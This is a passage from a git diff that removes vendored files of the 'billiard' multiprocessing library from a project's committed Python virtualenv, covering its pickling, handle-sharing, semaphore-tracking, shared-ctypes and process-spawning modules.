finally: - nrelease() - try: - while 1: - obj = bpopleft() - if obj is sentinel: - debug('feeder thread got sentinel -- exiting') - close() - return - - # serialize the data before acquiring the lock - obj = ForkingPickler.dumps(obj) - if wacquire is None: - send_bytes(obj) - else: - wacquire() - try: - send_bytes(obj) - finally: - wrelease() - except IndexError: - pass - except Exception as exc: - if ignore_epipe and get_errno(exc) == errno.EPIPE: - return - # Since this runs in a daemon thread the resources it uses - # may be become unusable while the process is cleaning up. - # We ignore errors which happen after the process has - # started to cleanup. - try: - if is_exiting(): - info('error in queue thread: %r', exc, exc_info=True) - else: - if not error('error in queue thread: %r', exc, - exc_info=True): - import traceback - traceback.print_exc() - except Exception: - pass - -_sentinel = object() - - -class JoinableQueue(Queue): - ''' - A queue type which also supports join() and task_done() methods - - Note that if you do not call task_done() for each finished task then - eventually the counter's semaphore may overflow causing Bad Things - to happen. - ''' - - def __init__(self, maxsize=0, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing 1 required keyword argument: ctx') - Queue.__init__(self, maxsize, ctx=ctx) - self._unfinished_tasks = ctx.Semaphore(0) - self._cond = ctx.Condition() - - def __getstate__(self): - return Queue.__getstate__(self) + (self._cond, self._unfinished_tasks) - - def __setstate__(self, state): - Queue.__setstate__(self, state[:-2]) - self._cond, self._unfinished_tasks = state[-2:] - - def put(self, obj, block=True, timeout=None): - assert not self._closed - if not self._sem.acquire(block, timeout): - raise Full - - with self._notempty: - with self._cond: - if self._thread is None: - self._start_thread() - self._buffer.append(obj) - self._unfinished_tasks.release() - self._notempty.notify() - - def task_done(self): - with self._cond: - if not self._unfinished_tasks.acquire(False): - raise ValueError('task_done() called too many times') - if self._unfinished_tasks._semlock._is_zero(): - self._cond.notify_all() - - def join(self): - with self._cond: - if not self._unfinished_tasks._semlock._is_zero(): - self._cond.wait() - - -class _SimpleQueue: - ''' - Simplified Queue type -- really just a locked pipe - ''' - - def __init__(self, rnonblock=False, wnonblock=False, ctx=None): - self._reader, self._writer = connection.Pipe( - duplex=False, rnonblock=rnonblock, wnonblock=wnonblock, - ) - self._poll = self._reader.poll - self._rlock = self._wlock = None - - def empty(self): - return not self._poll() - - def __getstate__(self): - context.assert_spawning(self) - return (self._reader, self._writer, self._rlock, self._wlock) - - def __setstate__(self, state): - (self._reader, self._writer, self._rlock, self._wlock) = state - - def get_payload(self): - return self._reader.recv_bytes() - - def send_payload(self, value): - self._writer.send_bytes(value) - - def get(self): - # unserialize the data after having released the lock - return ForkingPickler.loads(self.get_payload()) - - def put(self, obj): - # serialize the data before acquiring the lock - self.send_payload(ForkingPickler.dumps(obj)) - - def close(self): - if self._reader is not None: - try: - self._reader.close() - finally: - self._reader = None - - if self._writer is not None: - try: - self._writer.close() - finally: - self._writer = None - - -class SimpleQueue(_SimpleQueue): - - def __init__(self, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing required keyword argument: ctx') - self._reader, self._writer = connection.Pipe(duplex=False) - self._rlock = ctx.Lock() - self._wlock = ctx.Lock() if sys.platform != 'win32' else None - - def get_payload(self): - with self._rlock: - return self._reader.recv_bytes() - - def send_payload(self, value): - if self._wlock is None: - # writes to a message oriented win32 pipe are atomic - self._writer.send_bytes(value) - else: - with self._wlock: - self._writer.send_bytes(value) diff --git a/backend/venv/Lib/site-packages/billiard/reduction.py b/backend/venv/Lib/site-packages/billiard/reduction.py deleted file mode 100644 index 1677ffc9..00000000 --- a/backend/venv/Lib/site-packages/billiard/reduction.py +++ /dev/null @@ -1,293 +0,0 @@ -# -# Module which deals with pickling of objects. -# -# multiprocessing/reduction.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import functools -import io -import os -import pickle -import socket -import sys - -from . import context - -__all__ = ['send_handle', 'recv_handle', 'ForkingPickler', 'register', 'dump'] - -PY3 = sys.version_info[0] == 3 - - -HAVE_SEND_HANDLE = (sys.platform == 'win32' or - (hasattr(socket, 'CMSG_LEN') and - hasattr(socket, 'SCM_RIGHTS') and - hasattr(socket.socket, 'sendmsg'))) - -# -# Pickler subclass -# - - -if PY3: - import copyreg - - class ForkingPickler(pickle.Pickler): - '''Pickler subclass used by multiprocessing.''' - _extra_reducers = {} - _copyreg_dispatch_table = copyreg.dispatch_table - - def __init__(self, *args): - super(ForkingPickler, self).__init__(*args) - self.dispatch_table = self._copyreg_dispatch_table.copy() - self.dispatch_table.update(self._extra_reducers) - - @classmethod - def register(cls, type, reduce): - '''Register a reduce function for a type.''' - cls._extra_reducers[type] = reduce - - @classmethod - def dumps(cls, obj, protocol=None): - buf = io.BytesIO() - cls(buf, protocol).dump(obj) - return buf.getbuffer() - - @classmethod - def loadbuf(cls, buf, protocol=None): - return cls.loads(buf.getbuffer()) - - loads = pickle.loads - -else: - - class ForkingPickler(pickle.Pickler): # noqa - '''Pickler subclass used by multiprocessing.''' - dispatch = pickle.Pickler.dispatch.copy() - - @classmethod - def register(cls, type, reduce): - '''Register a reduce function for a type.''' - def dispatcher(self, obj): - rv = reduce(obj) - self.save_reduce(obj=obj, *rv) - cls.dispatch[type] = dispatcher - - @classmethod - def dumps(cls, obj, protocol=None): - buf = io.BytesIO() - cls(buf, protocol).dump(obj) - return buf.getvalue() - - @classmethod - def loadbuf(cls, buf, protocol=None): - return cls.loads(buf.getvalue()) - - @classmethod - def loads(cls, buf, loads=pickle.loads): - if isinstance(buf, io.BytesIO): - buf = buf.getvalue() - return loads(buf) -register = ForkingPickler.register - - -def dump(obj, file, protocol=None): - '''Replacement for pickle.dump() using ForkingPickler.''' - ForkingPickler(file, protocol).dump(obj) - -# -# Platform specific definitions -# - -if sys.platform == 'win32': - # Windows - __all__ += ['DupHandle', 'duplicate', 'steal_handle'] - from .compat import _winapi - - def duplicate(handle, target_process=None, inheritable=False): - '''Duplicate a handle. (target_process is a handle not a pid!)''' - if target_process is None: - target_process = _winapi.GetCurrentProcess() - return _winapi.DuplicateHandle( - _winapi.GetCurrentProcess(), handle, target_process, - 0, inheritable, _winapi.DUPLICATE_SAME_ACCESS) - - def steal_handle(source_pid, handle): - '''Steal a handle from process identified by source_pid.''' - source_process_handle = _winapi.OpenProcess( - _winapi.PROCESS_DUP_HANDLE, False, source_pid) - try: - return _winapi.DuplicateHandle( - source_process_handle, handle, - _winapi.GetCurrentProcess(), 0, False, - _winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE) - finally: - _winapi.CloseHandle(source_process_handle) - - def send_handle(conn, handle, destination_pid): - '''Send a handle over a local connection.''' - dh = DupHandle(handle, _winapi.DUPLICATE_SAME_ACCESS, destination_pid) - conn.send(dh) - - def recv_handle(conn): - '''Receive a handle over a local connection.''' - return conn.recv().detach() - - class DupHandle: - '''Picklable wrapper for a handle.''' - def __init__(self, handle, access, pid=None): - if pid is None: - # We just duplicate the handle in the current process and - # let the receiving process steal the handle. - pid = os.getpid() - proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, pid) - try: - self._handle = _winapi.DuplicateHandle( - _winapi.GetCurrentProcess(), - handle, proc, access, False, 0) - finally: - _winapi.CloseHandle(proc) - self._access = access - self._pid = pid - - def detach(self): - '''Get the handle. This should only be called once.''' - # retrieve handle from process which currently owns it - if self._pid == os.getpid(): - # The handle has already been duplicated for this process. - return self._handle - # We must steal the handle from the process whose pid is self._pid. - proc = _winapi.OpenProcess(_winapi.PROCESS_DUP_HANDLE, False, - self._pid) - try: - return _winapi.DuplicateHandle( - proc, self._handle, _winapi.GetCurrentProcess(), - self._access, False, _winapi.DUPLICATE_CLOSE_SOURCE) - finally: - _winapi.CloseHandle(proc) - -else: - # Unix - __all__ += ['DupFd', 'sendfds', 'recvfds'] - import array - - # On macOS we should acknowledge receipt of fds -- see Issue14669 - ACKNOWLEDGE = sys.platform == 'darwin' - - def sendfds(sock, fds): - '''Send an array of fds over an AF_UNIX socket.''' - fds = array.array('i', fds) - msg = bytes([len(fds) % 256]) - sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, fds)]) - if ACKNOWLEDGE and sock.recv(1) != b'A': - raise RuntimeError('did not receive acknowledgement of fd') - - def recvfds(sock, size): - '''Receive an array of fds over an AF_UNIX socket.''' - a = array.array('i') - bytes_size = a.itemsize * size - msg, ancdata, flags, addr = sock.recvmsg( - 1, socket.CMSG_LEN(bytes_size), - ) - if not msg and not ancdata: - raise EOFError - try: - if ACKNOWLEDGE: - sock.send(b'A') - if len(ancdata) != 1: - raise RuntimeError( - 'received %d items of ancdata' % len(ancdata), - ) - cmsg_level, cmsg_type, cmsg_data = ancdata[0] - if (cmsg_level == socket.SOL_SOCKET and - cmsg_type == socket.SCM_RIGHTS): - if len(cmsg_data) % a.itemsize != 0: - raise ValueError - a.frombytes(cmsg_data) - assert len(a) % 256 == msg[0] - return list(a) - except (ValueError, IndexError): - pass - raise RuntimeError('Invalid data received') - - def send_handle(conn, handle, destination_pid): # noqa - '''Send a handle over a local connection.''' - fd = conn.fileno() - with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: - sendfds(s, [handle]) - - def recv_handle(conn): # noqa - '''Receive a handle over a local connection.''' - fd = conn.fileno() - with socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) as s: - return recvfds(s, 1)[0] - - def DupFd(fd): - '''Return a wrapper for an fd.''' - popen_obj = context.get_spawning_popen() - if popen_obj is not None: - return popen_obj.DupFd(popen_obj.duplicate_for_child(fd)) - elif HAVE_SEND_HANDLE: - from . import resource_sharer - return resource_sharer.DupFd(fd) - else: - raise ValueError('SCM_RIGHTS appears not to be available') - -# -# Try making some callable types picklable -# - - -def _reduce_method(m): - if m.__self__ is None: - return getattr, (m.__class__, m.__func__.__name__) - else: - return getattr, (m.__self__, m.__func__.__name__) - - -class _C: - def f(self): - pass -register(type(_C().f), _reduce_method) - - -def _reduce_method_descriptor(m): - return getattr, (m.__objclass__, m.__name__) -register(type(list.append), _reduce_method_descriptor) -register(type(int.__add__), _reduce_method_descriptor) - - -def _reduce_partial(p): - return _rebuild_partial, (p.func, p.args, p.keywords or {}) - - -def _rebuild_partial(func, args, keywords): - return functools.partial(func, *args, **keywords) -register(functools.partial, _reduce_partial) - -# -# Make sockets picklable -# - -if sys.platform == 'win32': - - def _reduce_socket(s): - from .resource_sharer import DupSocket - return _rebuild_socket, (DupSocket(s),) - - def _rebuild_socket(ds): - return ds.detach() - register(socket.socket, _reduce_socket) - -else: - - def _reduce_socket(s): # noqa - df = DupFd(s.fileno()) - return _rebuild_socket, (df, s.family, s.type, s.proto) - - def _rebuild_socket(df, family, type, proto): # noqa - fd = df.detach() - return socket.socket(family, type, proto, fileno=fd) - register(socket.socket, _reduce_socket) diff --git a/backend/venv/Lib/site-packages/billiard/resource_sharer.py b/backend/venv/Lib/site-packages/billiard/resource_sharer.py deleted file mode 100644 index 243f5e39..00000000 --- a/backend/venv/Lib/site-packages/billiard/resource_sharer.py +++ /dev/null @@ -1,162 +0,0 @@ -# -# We use a background thread for sharing fds on Unix, and for sharing -# sockets on Windows. -# -# A client which wants to pickle a resource registers it with the resource -# sharer and gets an identifier in return. The unpickling process will connect -# to the resource sharer, sends the identifier and its pid, and then receives -# the resource. -# - -import os -import signal -import socket -import sys -import threading - -from . import process -from . import reduction -from . import util - -__all__ = ['stop'] - - -if sys.platform == 'win32': - __all__ += ['DupSocket'] - - class DupSocket: - '''Picklable wrapper for a socket.''' - - def __init__(self, sock): - new_sock = sock.dup() - - def send(conn, pid): - share = new_sock.share(pid) - conn.send_bytes(share) - self._id = _resource_sharer.register(send, new_sock.close) - - def detach(self): - '''Get the socket. This should only be called once.''' - with _resource_sharer.get_connection(self._id) as conn: - share = conn.recv_bytes() - return socket.fromshare(share) - -else: - __all__ += ['DupFd'] - - class DupFd: - '''Wrapper for fd which can be used at any time.''' - def __init__(self, fd): - new_fd = os.dup(fd) - - def send(conn, pid): - reduction.send_handle(conn, new_fd, pid) - - def close(): - os.close(new_fd) - self._id = _resource_sharer.register(send, close) - - def detach(self): - '''Get the fd. This should only be called once.''' - with _resource_sharer.get_connection(self._id) as conn: - return reduction.recv_handle(conn) - - -class _ResourceSharer: - '''Manager for resources using background thread.''' - def __init__(self): - self._key = 0 - self._cache = {} - self._old_locks = [] - self._lock = threading.Lock() - self._listener = None - self._address = None - self._thread = None - util.register_after_fork(self, _ResourceSharer._afterfork) - - def register(self, send, close): - '''Register resource, returning an identifier.''' - with self._lock: - if self._address is None: - self._start() - self._key += 1 - self._cache[self._key] = (send, close) - return (self._address, self._key) - - @staticmethod - def get_connection(ident): - '''Return connection from which to receive identified resource.''' - from .connection import Client - address, key = ident - c = Client(address, authkey=process.current_process().authkey) - c.send((key, os.getpid())) - return c - - def stop(self, timeout=None): - '''Stop the background thread and clear registered resources.''' - from .connection import Client - with self._lock: - if self._address is not None: - c = Client(self._address, - authkey=process.current_process().authkey) - c.send(None) - c.close() - self._thread.join(timeout) - if self._thread.is_alive(): - util.sub_warning('_ResourceSharer thread did ' - 'not stop when asked') - self._listener.close() - self._thread = None - self._address = None - self._listener = None - for key, (send, close) in self._cache.items(): - close() - self._cache.clear() - - def _afterfork(self): - for key, (send, close) in self._cache.items(): - close() - self._cache.clear() - # If self._lock was locked at the time of the fork, it may be broken - # -- see issue 6721. Replace it without letting it be gc'ed. - self._old_locks.append(self._lock) - self._lock = threading.Lock() - if self._listener is not None: - self._listener.close() - self._listener = None - self._address = None - self._thread = None - - def _start(self): - from .connection import Listener - assert self._listener is None - util.debug('starting listener and thread for sending handles') - self._listener = Listener(authkey=process.current_process().authkey) - self._address = self._listener.address - t = threading.Thread(target=self._serve) - t.daemon = True - t.start() - self._thread = t - - def _serve(self): - if hasattr(signal, 'pthread_sigmask'): - signal.pthread_sigmask(signal.SIG_BLOCK, range(1, signal.NSIG)) - while 1: - try: - with self._listener.accept() as conn: - msg = conn.recv() - if msg is None: - break - key, destination_pid = msg - send, close = self._cache.pop(key) - try: - send(conn, destination_pid) - finally: - close() - except: - if not util.is_exiting(): - sys.excepthook(*sys.exc_info()) - - -_resource_sharer = _ResourceSharer() -stop = _resource_sharer.stop diff --git a/backend/venv/Lib/site-packages/billiard/semaphore_tracker.py b/backend/venv/Lib/site-packages/billiard/semaphore_tracker.py deleted file mode 100644 index 8ba0df4a..00000000 --- a/backend/venv/Lib/site-packages/billiard/semaphore_tracker.py +++ /dev/null @@ -1,146 +0,0 @@ -# -# On Unix we run a server process which keeps track of unlinked -# semaphores. The server ignores SIGINT and SIGTERM and reads from a -# pipe. Every other process of the program has a copy of the writable -# end of the pipe, so we get EOF when all other processes have exited. -# Then the server process unlinks any remaining semaphore names. -# -# This is important because the system only supports a limited number -# of named semaphores, and they will not be automatically removed till -# the next reboot. Without this semaphore tracker process, "killall -# python" would probably leave unlinked semaphores. -# - -import io -import os -import signal -import sys -import threading -import warnings -from ._ext import _billiard - -from . import spawn -from . import util - -from .compat import spawnv_passfds - -__all__ = ['ensure_running', 'register', 'unregister'] - - -class SemaphoreTracker: - - def __init__(self): - self._lock = threading.Lock() - self._fd = None - - def getfd(self): - self.ensure_running() - return self._fd - - def ensure_running(self): - '''Make sure that semaphore tracker process is running. - - This can be run from any process. Usually a child process will use - the semaphore created by its parent.''' - with self._lock: - if self._fd is not None: - return - fds_to_pass = [] - try: - fds_to_pass.append(sys.stderr.fileno()) - except Exception: - pass - cmd = 'from billiard.semaphore_tracker import main;main(%d)' - r, w = os.pipe() - try: - fds_to_pass.append(r) - # process will out live us, so no need to wait on pid - exe = spawn.get_executable() - args = [exe] + util._args_from_interpreter_flags() - args += ['-c', cmd % r] - spawnv_passfds(exe, args, fds_to_pass) - except: - os.close(w) - raise - else: - self._fd = w - finally: - os.close(r) - - def register(self, name): - '''Register name of semaphore with semaphore tracker.''' - self._send('REGISTER', name) - - def unregister(self, name): - '''Unregister name of semaphore with semaphore tracker.''' - self._send('UNREGISTER', name) - - def _send(self, cmd, name): - self.ensure_running() - msg = '{0}:{1}\n'.format(cmd, name).encode('ascii') - if len(name) > 512: - # posix guarantees that writes to a pipe of less than PIPE_BUF - # bytes are atomic, and that PIPE_BUF >= 512 - raise ValueError('name too long') - nbytes = os.write(self._fd, msg) - assert nbytes == len(msg) - - -_semaphore_tracker = SemaphoreTracker() -ensure_running = _semaphore_tracker.ensure_running -register = _semaphore_tracker.register -unregister = _semaphore_tracker.unregister -getfd = _semaphore_tracker.getfd - - -def main(fd): - '''Run semaphore tracker.''' - # protect the process from ^C and "killall python" etc - signal.signal(signal.SIGINT, signal.SIG_IGN) - signal.signal(signal.SIGTERM, signal.SIG_IGN) - - for f in (sys.stdin, sys.stdout): - try: - f.close() - except Exception: - pass - - cache = set() - try: - # keep track of registered/unregistered semaphores - with io.open(fd, 'rb') as f: - for line in f: - try: - cmd, name = line.strip().split(b':') - if cmd == b'REGISTER': - cache.add(name) - elif cmd == b'UNREGISTER': - cache.remove(name) - else: - raise RuntimeError('unrecognized command %r' % cmd) - except Exception: - try: - sys.excepthook(*sys.exc_info()) - except: - pass - finally: - # all processes have terminated; cleanup any remaining semaphores - if cache: - try: - warnings.warn('semaphore_tracker: There appear to be %d ' - 'leaked semaphores to clean up at shutdown' % - len(cache)) - except Exception: - pass - for name in cache: - # For some reason the process which created and registered this - # semaphore has failed to unregister it. Presumably it has died. - # We therefore unlink it. - try: - name = name.decode('ascii') - try: - _billiard.sem_unlink(name) - except Exception as e: - warnings.warn('semaphore_tracker: %r: %s' % (name, e)) - finally: - pass diff --git a/backend/venv/Lib/site-packages/billiard/sharedctypes.py b/backend/venv/Lib/site-packages/billiard/sharedctypes.py deleted file mode 100644 index 0b6589bf..00000000 --- a/backend/venv/Lib/site-packages/billiard/sharedctypes.py +++ /dev/null @@ -1,258 +0,0 @@ -# -# Module which supports allocation of ctypes objects from shared memory -# -# multiprocessing/sharedctypes.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import ctypes -import sys -import weakref - -from . import heap -from . import get_context -from .context import assert_spawning -from .reduction import ForkingPickler - -__all__ = ['RawValue', 'RawArray', 'Value', 'Array', 'copy', 'synchronized'] - -PY3 = sys.version_info[0] == 3 - -typecode_to_type = { - 'c': ctypes.c_char, 'u': ctypes.c_wchar, - 'b': ctypes.c_byte, 'B': ctypes.c_ubyte, - 'h': ctypes.c_short, 'H': ctypes.c_ushort, - 'i': ctypes.c_int, 'I': ctypes.c_uint, - 'l': ctypes.c_long, 'L': ctypes.c_ulong, - 'f': ctypes.c_float, 'd': ctypes.c_double -} - - -def _new_value(type_): - size = ctypes.sizeof(type_) - wrapper = heap.BufferWrapper(size) - return rebuild_ctype(type_, wrapper, None) - - -def RawValue(typecode_or_type, *args): - ''' - Returns a ctypes object allocated from shared memory - ''' - type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) - obj = _new_value(type_) - ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) - obj.__init__(*args) - return obj - - -def RawArray(typecode_or_type, size_or_initializer): - ''' - Returns a ctypes array allocated from shared memory - ''' - type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) - if isinstance(size_or_initializer, int): - type_ = type_ * size_or_initializer - obj = _new_value(type_) - ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) - return obj - else: - type_ = type_ * len(size_or_initializer) - result = _new_value(type_) - result.__init__(*size_or_initializer) - return result - - -def Value(typecode_or_type, *args, **kwds): - ''' - Return a synchronization wrapper for a Value - ''' - lock = kwds.pop('lock', None) - ctx = kwds.pop('ctx', None) - if kwds: - raise ValueError( - 'unrecognized keyword argument(s): %s' % list(kwds.keys())) - obj = RawValue(typecode_or_type, *args) - if lock is False: - return obj - if lock in (True, None): - ctx = ctx or get_context() - lock = ctx.RLock() - if not hasattr(lock, 'acquire'): - raise AttributeError("'%r' has no method 'acquire'" % lock) - return synchronized(obj, lock, ctx=ctx) - - -def Array(typecode_or_type, size_or_initializer, **kwds): - ''' - Return a synchronization wrapper for a RawArray - ''' - lock = kwds.pop('lock', None) - ctx = kwds.pop('ctx', None) - if kwds: - raise ValueError( - 'unrecognized keyword argument(s): %s' % list(kwds.keys())) - obj = RawArray(typecode_or_type, size_or_initializer) - if lock is False: - return obj - if lock in (True, None): - ctx = ctx or get_context() - lock = ctx.RLock() - if not hasattr(lock, 'acquire'): - raise AttributeError("'%r' has no method 'acquire'" % lock) - return synchronized(obj, lock, ctx=ctx) - - -def copy(obj): - new_obj = _new_value(type(obj)) - ctypes.pointer(new_obj)[0] = obj - return new_obj - - -def synchronized(obj, lock=None, ctx=None): - assert not isinstance(obj, SynchronizedBase), 'object already synchronized' - ctx = ctx or get_context() - - if isinstance(obj, ctypes._SimpleCData): - return Synchronized(obj, lock, ctx) - elif isinstance(obj, ctypes.Array): - if obj._type_ is ctypes.c_char: - return SynchronizedString(obj, lock, ctx) - return SynchronizedArray(obj, lock, ctx) - else: - cls = type(obj) - try: - scls = class_cache[cls] - except KeyError: - names = [field[0] for field in cls._fields_] - d = dict((name, make_property(name)) for name in names) - classname = 'Synchronized' + cls.__name__ - scls = class_cache[cls] = type(classname, (SynchronizedBase,), d) - return scls(obj, lock, ctx) - -# -# Functions for pickling/unpickling -# - - -def reduce_ctype(obj): - assert_spawning(obj) - if isinstance(obj, ctypes.Array): - return rebuild_ctype, (obj._type_, obj._wrapper, obj._length_) - else: - return rebuild_ctype, (type(obj), obj._wrapper, None) - - -def rebuild_ctype(type_, wrapper, length): - if length is not None: - type_ = type_ * length - ForkingPickler.register(type_, reduce_ctype) - if PY3: - buf = wrapper.create_memoryview() - obj = type_.from_buffer(buf) - else: - obj = type_.from_address(wrapper.get_address()) - obj._wrapper = wrapper - return obj - -# -# Function to create properties -# - - -def make_property(name): - try: - return prop_cache[name] - except KeyError: - d = {} - exec(template % ((name, ) * 7), d) - prop_cache[name] = d[name] - return d[name] - - -template = ''' -def get%s(self): - self.acquire() - try: - return self._obj.%s - finally: - self.release() -def set%s(self, value): - self.acquire() - try: - self._obj.%s = value - finally: - self.release() -%s = property(get%s, set%s) -''' - -prop_cache = {} -class_cache = weakref.WeakKeyDictionary() - -# -# Synchronized wrappers -# - - -class SynchronizedBase: - - def __init__(self, obj, lock=None, ctx=None): - self._obj = obj - if lock: - self._lock = lock - else: - ctx = ctx or get_context(force=True) - self._lock = ctx.RLock() - self.acquire = self._lock.acquire - self.release = self._lock.release - - def __enter__(self): - return self._lock.__enter__() - - def __exit__(self, *args): - return self._lock.__exit__(*args) - - def __reduce__(self): - assert_spawning(self) - return synchronized, (self._obj, self._lock) - - def get_obj(self): - return self._obj - - def get_lock(self): - return self._lock - - def __repr__(self): - return '<%s wrapper for %s>' % (type(self).__name__, self._obj) - - -class Synchronized(SynchronizedBase): - value = make_property('value') - - -class SynchronizedArray(SynchronizedBase): - - def __len__(self): - return len(self._obj) - - def __getitem__(self, i): - with self: - return self._obj[i] - - def __setitem__(self, i, value): - with self: - self._obj[i] = value - - def __getslice__(self, start, stop): - with self: - return self._obj[start:stop] - - def __setslice__(self, start, stop, values): - with self: - self._obj[start:stop] = values - - -class SynchronizedString(SynchronizedArray): - value = make_property('value') - raw = make_property('raw') diff --git a/backend/venv/Lib/site-packages/billiard/spawn.py b/backend/venv/Lib/site-packages/billiard/spawn.py deleted file mode 100644 index 9a294773..00000000 --- a/backend/venv/Lib/site-packages/billiard/spawn.py +++ /dev/null @@ -1,389 +0,0 @@ -# -# Code used to start processes when using the spawn or forkserver -# start methods. -# -# multiprocessing/spawn.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import io -import os -import pickle -import sys -import runpy -import types -import warnings - -from . import get_start_method, set_start_method -from . import process -from . import util - -__all__ = ['_main', 'freeze_support', 'set_executable', 'get_executable', - 'get_preparation_data', 'get_command_line', 'import_main_path'] - -W_OLD_DJANGO_LAYOUT = """\ -Will add directory %r to path! This is necessary to accommodate \ -pre-Django 1.4 layouts using setup_environ. -You can skip this warning by adding a DJANGO_SETTINGS_MODULE=settings \ -environment variable. -""" - -# -# _python_exe is the assumed path to the python executable. -# People embedding Python want to modify it. -# - -if sys.platform != 'win32': - WINEXE = False - WINSERVICE = False -else: - WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) - WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") - -if WINSERVICE: - _python_exe = os.path.join(sys.exec_prefix, 'python.exe') -else: - _python_exe = sys.executable - - -def _module_parent_dir(mod): - dir, filename = os.path.split(_module_dir(mod)) - if dir == os.curdir or not dir: - dir = os.getcwd() - return dir - - -def _module_dir(mod): - if '__init__.py' in mod.__file__: - return os.path.dirname(mod.__file__) - return mod.__file__ - - -def _Django_old_layout_hack__save(): - if 'DJANGO_PROJECT_DIR' not in os.environ: - try: - settings_name = os.environ['DJANGO_SETTINGS_MODULE'] - except KeyError: - return # not using Django. - - conf_settings = sys.modules.get('django.conf.settings') - configured = conf_settings and conf_settings.configured - try: - project_name, _ = settings_name.split('.', 1) - except ValueError: - return # not modified by setup_environ - - project = __import__(project_name) - try: - project_dir = os.path.normpath(_module_parent_dir(project)) - except AttributeError: - return # dynamically generated module (no __file__) - if configured: - warnings.warn(UserWarning( - W_OLD_DJANGO_LAYOUT % os.path.realpath(project_dir) - )) - os.environ['DJANGO_PROJECT_DIR'] = project_dir - - -def _Django_old_layout_hack__load(): - try: - sys.path.append(os.environ['DJANGO_PROJECT_DIR']) - except KeyError: - pass - - -def set_executable(exe): - global _python_exe - _python_exe = exe - - -def get_executable(): - return _python_exe - -# -# -# - - -def is_forking(argv): - ''' - Return whether commandline indicates we are forking - ''' - if len(argv) >= 2 and argv[1] == '--billiard-fork': - return True - else: - return False - - -def freeze_support(): - ''' - Run code for process object if this in not the main process - ''' - if is_forking(sys.argv): - kwds = {} - for arg in sys.argv[2:]: - name, value = arg.split('=') - if value == 'None': - kwds[name] = None - else: - kwds[name] = int(value) - spawn_main(**kwds) - sys.exit() - - -def get_command_line(**kwds): - ''' - Returns prefix of command line used for spawning a child process - ''' - if getattr(sys, 'frozen', False): - return ([sys.executable, '--billiard-fork'] + - ['%s=%r' % item for item in kwds.items()]) - else: - prog = 'from billiard.spawn import spawn_main; spawn_main(%s)' - prog %= ', '.join('%s=%r' % item for item in kwds.items()) - opts = util._args_from_interpreter_flags() - return [_python_exe] + opts + ['-c', prog, '--billiard-fork'] - - -def spawn_main(pipe_handle, parent_pid=None, tracker_fd=None): - ''' - Run code specified by data received over pipe - ''' - assert is_forking(sys.argv) - if sys.platform == 'win32': - import msvcrt - from .reduction import steal_handle - new_handle = steal_handle(parent_pid, pipe_handle) - fd = msvcrt.open_osfhandle(new_handle, os.O_RDONLY) - else: - from . import semaphore_tracker - semaphore_tracker._semaphore_tracker._fd = tracker_fd - fd = pipe_handle - exitcode = _main(fd) - sys.exit(exitcode) - - -def _setup_logging_in_child_hack(): - # Huge hack to make logging before Process.run work. - try: - os.environ["MP_MAIN_FILE"] = sys.modules["__main__"].__file__ - except KeyError: - pass - except AttributeError: - pass - loglevel = os.environ.get("_MP_FORK_LOGLEVEL_") - logfile = os.environ.get("_MP_FORK_LOGFILE_") or None - format = os.environ.get("_MP_FORK_LOGFORMAT_") - if loglevel: - from . import util - import logging - logger = util.get_logger() - logger.setLevel(int(loglevel)) - if not logger.handlers: - logger._rudimentary_setup = True - logfile = logfile or sys.__stderr__ - if hasattr(logfile, "write"): - handler = logging.StreamHandler(logfile) - else: - handler = logging.FileHandler(logfile) - formatter = logging.Formatter( - format or util.DEFAULT_LOGGING_FORMAT, - ) - handler.setFormatter(formatter) - logger.addHandler(handler) - - -def _main(fd): - _Django_old_layout_hack__load() - with io.open(fd, 'rb', closefd=True) as from_parent: - process.current_process()._inheriting = True - try: - preparation_data = pickle.load(from_parent) - prepare(preparation_data) - _setup_logging_in_child_hack() - self = pickle.load(from_parent) - finally: - del process.current_process()._inheriting - return self._bootstrap() - - -def _check_not_importing_main(): - if getattr(process.current_process(), '_inheriting', False): - raise RuntimeError(''' - An attempt has been made to start a new process before the - current process has finished its bootstrapping phase. - - This probably means that you are not using fork to start your - child processes and you have forgotten to use the proper idiom - in the main module: - - if __name__ == '__main__': - freeze_support() - ... - - The "freeze_support()" line can be omitted if the program - is not going to be frozen to produce an executable.''') - - -def get_preparation_data(name): - ''' - Return info about parent needed by child to unpickle process object - ''' - _check_not_importing_main() - d = dict( - log_to_stderr=util._log_to_stderr, - authkey=process.current_process().authkey, - ) - - if util._logger is not None: - d['log_level'] = util._logger.getEffectiveLevel() - - sys_path = sys.path[:] - try: - i = sys_path.index('') - except ValueError: - pass - else: - sys_path[i] = process.ORIGINAL_DIR - - d.update( - name=name, - sys_path=sys_path, - sys_argv=sys.argv, - orig_dir=process.ORIGINAL_DIR, - dir=os.getcwd(), - start_method=get_start_method(), - ) - - # Figure out whether to initialise main in the subprocess as a module - # or through direct execution (or to leave it alone entirely) - main_module = sys.modules['__main__'] - try: - main_mod_name = main_module.__spec__.name - except AttributeError: - main_mod_name = main_module.__name__ - if main_mod_name is not None: - d['init_main_from_name'] = main_mod_name - elif sys.platform != 'win32' or (not WINEXE and not WINSERVICE): - main_path = getattr(main_module, '__file__', None) - if main_path is not None: - if (not os.path.isabs(main_path) and - process.ORIGINAL_DIR is not None): - main_path = os.path.join(process.ORIGINAL_DIR, main_path) - d['init_main_from_path'] = os.path.normpath(main_path) - - return d - -# -# Prepare current process -# - - -old_main_modules = [] - - -def prepare(data): - ''' - Try to get current process ready to unpickle process object - ''' - if 'name' in data: - process.current_process().name = data['name'] - - if 'authkey' in data: - 